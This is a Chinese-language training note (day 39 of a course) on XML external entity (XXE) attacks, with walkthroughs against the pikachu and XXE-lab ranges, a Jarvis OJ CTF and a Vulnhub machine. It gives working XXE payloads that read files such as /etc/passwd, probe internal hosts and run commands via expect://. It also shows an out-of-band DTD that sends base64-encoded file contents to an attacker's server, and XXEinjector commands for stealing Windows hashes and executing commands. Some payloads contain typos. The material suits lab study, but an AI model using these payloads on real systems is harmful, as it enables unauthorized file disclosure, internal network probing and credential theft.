【XXE&XML】---利用检测绕过全解---day39
【XXE&XML】---利用检测绕过全解---day39
一、思维导图
二、基本概念
1、XML介绍
2、XML与HTML的主要差异
3、XML示例
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档时note类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为"#PCDATA"类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为"#PCDATA"类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为"#PCDATA"类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
三、案例演示
1、pikachu靶场XML数据传输测试-回显,玩法,协议,引入
- 打开靶场
- 玩法-读文件
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///d://test.txt">
]>
<x>&xxe;</x>
前提是d盘要存在那个文件。
复制到输入框,提交。
直接就读取到了。可以看出这就是有回显的文件利用的一个攻击。
- 玩法-内网探针或攻击内网应用(触发漏洞地址)
<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTYTY rabbit SYSTEM "http://192.168.xxx.xxx:80/index.txt">
]>
<x>&rabbit;</x>
上面的ip地址假设就是内网的一台服务器的ip地址。还可以进行一个端口扫描,看一下端口是否开放。
- 玩法-RCE
该CASE是在安装expect扩展的PHP环境里执行系统命令
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>
id是对于的执行的命令。实战情况比较难碰到。
①引入外部实体DTD
DTD是一个格式文件,下面的思路就是去引用一个xml的格式文件,相当于会把DTD里面的代码当做XML来执行,所以可以在DTD文件里写上想要执行的代码。一般用来绕过WAF或过滤。
<?xml version = "1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1/evil2.dtd">
%file;
]>
<x>&send;</x>
//下面的是写入文件的
evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/test.txt">
条件:看对方的应用有没有禁用外部实体引用,这也是防御XXE的一种措施。
②无回显-读取文件
<?xml version = "1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
<!ENTITY % dtd SYSTEM "http://192.168.xx.xxx:80XX/test.dtd">
%dtd;
%send;
]>
test.dtd:
<!ENTITY % payload
"<!ENTITY % send SYSTEM
'http://192.168.xx.xxx:80xx/?data=%file;'>"
>
%payload;
上面的url一般是自己的网站,通过第一步访问文件,然后再访问dtd文件,把读取到的数据赋给data,然后我们只需要再自己的网站日志,或者写个php脚本保存下来,就能看到读取到的文件数据了。
③协议-读文件(绕过)
参考:
https://www.cnblogs.com/20175211lyz/p/11413335.html
<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY f SYSTEM
"php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<x>&x;</x>
2、XXE-lab靶场登录框xml数据传输测试-检测发现
随便发个包,用bp爬行一下网站结构。搜索xml类型的请求,
说明数据包在传输数据的时候,采用的是XML的数据格式,符合xxe漏洞的条件。
①检测发现:
1、提交的数据包含XML格式如:
<forgot><username>admin</username></forgot>
2、请求头中如:
Content-Type: text/xml或Content-type:application/xml
<?xml version="1.0"?>
<!DCOTYPE Mikasa [
<!ENTITY test SYSTEM "file:///d:/test.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>
提交payload,在xml的那个数据包中。
3、CTF-Jarvis-OJ-Web-XXE安全真题复现-数据请求格式
http://web.jarvisoj.com:9882/
更改请求数据格式:c
<?xml version= = "1.0"? >
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
点击Go,抓包
数据传输形式是采用json数据格式来提交传输的。通过修改数据格式来攻击,形成XXE漏洞。
4、CTF-Vulnhub-XXE安全真题复现-检测,利用,拓展,实战
扫描IP及端口->扫描探针目录->抓包探针XXE安全->利用XXE读取源码->flag指向文件->base32 64解密->php运行->flag
www.vulnhub.com
环境:
https://download.vulnhub.com/xxe/XXE.zip
下载使用
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&sp;</name><password>hj</password></root>
下载后,需要在虚拟机中打开,但是不会告诉你用户名和密码,怕让知道以后,都不用攻击了。攻击机我们选择Ninjutsu os。
对这个ip地址进行扫描:
所以说目标主机就是192.168.79.133,访问:
可以用扫目录工具扫:
试着访问xxe
登录,抓包
上传payload,攻击
然后base64解密就可以了
往下翻发现了用户名和密码
密码是md5解密后的
https://cmd5.com 解密
得到用户名和密码,尝试登录,注意此时的url
登录后:
点击Flag
打不开,说明XXE漏洞就在这里藏着,那么咱们还是抓包读取flagmeout.php这个文件。
解密后
得到括号里那一串,那个是base32的加密。
解码之后又是base64!!.......再解码
又来一个flag.php,心态崩了,搁这儿套娃呢。继续读这个文件,然后base64解密,出来下面这一串鬼,看不懂。但是应该是php代码。找个在线php运行网址,运行一下看看。
运行之后:
5、XXE安全漏洞自动化注射脚本工具--XXEinjector(Ruby)
工具下载地址:
https://github.com/enjoiz/XXEinjector
https://www.cnblogs.com/bmjoker/p/9614990.html
工具使用:
--host 必填项– 用于建立反向链接的IP地址。(--host=192.168.0.2)
--file 必填项- 包含有效HTTP请求的XML文件。(--file=/tmp/req.txt)
--path 必填项-是否需要枚举目录 – 枚举路径。(--path=/etc)
--brute 必填项-是否需要爆破文件 -爆破文件的路径。(--brute=/tmp/brute.txt)
--logger 记录输出结果。
--rhost 远程主机IP或域名地址。(--rhost=192.168.0.3)
--rport 远程主机的TCP端口信息。(--rport=8080)
--phpfilter 在发送消息之前使用PHP过滤器对目标文件进行Base64编码。
--netdoc 使用netdoc协议。(Java).
--enumports 枚举用于反向链接的未过滤端口。(--enumports=21,22,80,443,445)
--hashes 窃取运行当前应用程序用户的Windows哈希。
--expect 使用PHP expect扩展执行任意系统命令。(--expect=ls)
--upload 使用Java jar向临时目录上传文件。(--upload=/tmp/upload.txt)
--xslt XSLT注入测试。
--ssl 使用SSL。
--proxy 使用代理。(--proxy=127.0.0.1:8080)
--httpport Set自定义HTTP端口。(--httpport=80)
--ftpport 设置自定义FTP端口。(--ftpport=21)
--gopherport 设置自定义gopher端口。(--gopherport=70)
--jarport 设置自定义文件上传端口。(--jarport=1337)
--xsltport 设置自定义用于XSLT注入测试的端口。(--xsltport=1337)
--test 该模式可用于测试请求的有效。
--urlencode URL编码,默认为URI。
--output 爆破攻击结果输出和日志信息。(--output=/tmp/out.txt)
--timeout 设置接收文件/目录内容的Timeout。(--timeout=20)
--contimeout 设置与服务器断开连接的,防止DoS出现。(--contimeout=20)
--fast 跳过枚举询问,有可能出现结果假阳性。
--verbose 显示verbose信息。
使用样例:
枚举HTTPS应用程序中的/etc目录:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl
使用gopher(OOB方法)枚举/etc目录:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
二次漏洞利用:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt
使用HTTP带外方法和netdoc协议对文件进行爆破攻击:
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc
通过直接性漏洞利用方式进行资源枚举:
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
枚举未过滤的端口:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
窃取Windows哈希:
ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes
使用Java jar上传文件:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf
使用PHP expect执行系统指令:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls
测试XSLT注入:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt
记录请求信息:
ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt